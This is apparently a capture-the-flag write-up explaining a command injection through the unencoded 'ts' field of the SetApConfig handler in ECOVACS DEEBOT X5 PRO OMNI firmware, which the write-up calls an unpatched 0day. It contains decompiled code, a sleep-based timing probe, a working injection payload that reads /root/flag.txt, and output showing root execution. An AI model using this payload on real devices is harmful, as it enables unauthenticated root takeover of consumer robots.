Omniscient
`SetApConfig` base64-wraps every input except the `ts` field added in the X5 → command injection into `popen()`
NNS{7h3_0mNi5c1ent_x5_sti1l_trus7s_3very_times7amp} NNS{7h3_0mNi5c1ent_x5_sti1l_trus7s_3very_times7amp}}
(The flag file is 53 bytes — the trailing }} really is the file’s content. Confirmed with od -c.)
Target: ECOVACS DEEBOT X5 PRO OMNI, firmware v1.74.0 (2024-12-16, zj2357_rk3326s),
model id 4jd37g. The live instance runs nginx in front of a GoAhead web server.
0day challenge — do not publish before the vendor patches it.
In one line
The SetApConfig handler was hardened to wrap every user input in base64, but the ts
field newly added on the X5 was missed. Its value goes straight into a popen() command
line, giving unauthenticated root RCE.
Background: how this differs from Clean Sweep
Clean Sweep, in the same CTF, was a td=SetFct command injection in T9 AIVI v1.4.9.
Omniscient has the same architecture (GoAhead + the /etc/www/reqDo CGI) but that bug is
closed:
SetFct—did/password/type/lbare all wrapped inCFBase64Encode(), andscis read withCFJsonObjectGetInt()and formatted with%d. Fully closed.CFBase64Encodeitself checks the destination size (256) properly and returns -1 on overflow, so there is no stack overflow either.- After decoding,
cjsonescapes the JSON, so JSON injection is out as well.
That makes it easy to conclude “the Clean Sweep payload doesn’t work, so this is a dead end.”
(The previous session’s notes did exactly that, and even listed TS among the base64-wrapped
fields. Re-reading the decompilation showed that was a misreading.)
The actual bug
SetApConfig decompiled:
local_28 = CFJsonObjectGetString(param_1, "s"); // SSID
local_30 = CFJsonObjectGetString(param_1, "p"); // PASSPHRASE
local_58 = CFJsonObjectGetString(param_1, <domain>);
local_38 = CFJsonObjectGetString(param_1, "sc");
local_40 = CFJsonObjectGetString(param_1, "sck2");
local_48 = CFJsonObjectGetString(param_1, "lb");
local_50 = CFJsonObjectGetString(param_1, "ts"); // <<<< TS
if (local_28) CFBase64Encode(&local_768, 0x100, ..., local_28, strlen(local_28));
if (local_30) CFBase64Encode(&local_868, 0x100, ..., local_30, strlen(local_30));
if (local_38) CFBase64Encode(&local_c68, 0x100, ..., local_38, strlen(local_38));
if (local_40) CFBase64Encode(&local_d68, 0x100, ..., local_40, strlen(local_40));
if (local_48) CFBase64Encode(&local_e68, 0x100, ..., local_48, strlen(local_48));
/* there is no encode call for local_50 */
puVar3 = local_50 ? local_50 : "";
snprintf(local_268, 0x200,
"td=\"SetApConfig\" SSID=\"%s\" PASSPHRASE=\"%s\" sc=\"%s\" sck2=\"%s\" "
"lb=\"%s\" TS=\"%s\" %s",
puVar4, puVar5, puVar6, puVar7, puVar8, puVar3, bumbee_hook);
cmd_system(local_268, &local_668, 0x400); // -> popen(cmd, "r")
There are exactly five base64 calls (plus three more in the ECO_ROOT/VENDOR/AREA branches),
and local_50 is not encoded on either path.
Cross-check: the format string in the T9 (Clean Sweep) binary is
td="SetApConfig" SSID="%s" PASSPHRASE="%s" sc="%s" sck2="%s" lb="%s" %s
There is no TS= at all. So the X5 added a field and forgot to encode it.
Finding the JSON key
The firmware extraction had been lost, so the actual string at DAT_00403418 could not be
read. Instead, the T9 binary showed the keys are very short (s / p / sc / sck2 / lb,
8-byte aligned slots), so 20 candidates were put in a single request and binary-searched by
timing. Wrong keys are simply ignored, which makes it safe to test several at once.
baseline = 0.63s
all candidates at once: 6.69s <- $(sleep 6) fired
['ts','TS','t','T','tsp',...] -> 6.60s
['ts','TS','t','T','tsp'] -> 6.59s
['ts','TS'] -> 6.60s
['ts'] -> 6.64s
### key = 'ts'
Six requests to pin it down. No need to re-download the firmware.
Exploit
The final command is a shell variable assignment followed by a script call:
td="SetApConfig" SSID="" ... lb="" TS="<our value>" /etc/wifi/bumbee_hook.sh
Close the double quote, append a command, and kill the rest with #:
{"td": "SetApConfig", "ts": "\"; id; cat /root/flag.txt; #"}
$(...) and backticks are evaluated inside double quotes too, so the quote does not strictly
have to be broken — but then the output is captured into the TS variable and never reaches the
response. Closing the quote so stdout goes to the popen pipe is the better option.
This one is not blind
cmd_system reads popen’s stdout into a buffer and SetApConfig prints it into the response
body with printf("%s", buf). Clean Sweep always returned an empty response and needed
sleep-based blind extraction; here the output is read directly.
$ python3 solve.py https://omniscient-<id>.chall.nnsc.tf
uid=0(root) gid=0(root) groups=0(root)
NNS{7h3_0mNi5c1ent_x5_sti1l_trus7s_3very_times7amp}}
Arbitrary command execution:
$ python3 solve.py https://omniscient-<id>.chall.nnsc.tf 'uname -a'
Linux app-798f8ddcd6-xvf5k 6.18.49 #1 SMP ... x86_64 GNU/Linux
Files
Takeaway
A patch that “encodes every input” breaks the moment a field is added later. The decisive move was not stopping at “the Clean Sweep payload doesn’t work”, but diffing the format strings of the two firmwares directly to find the field that is new.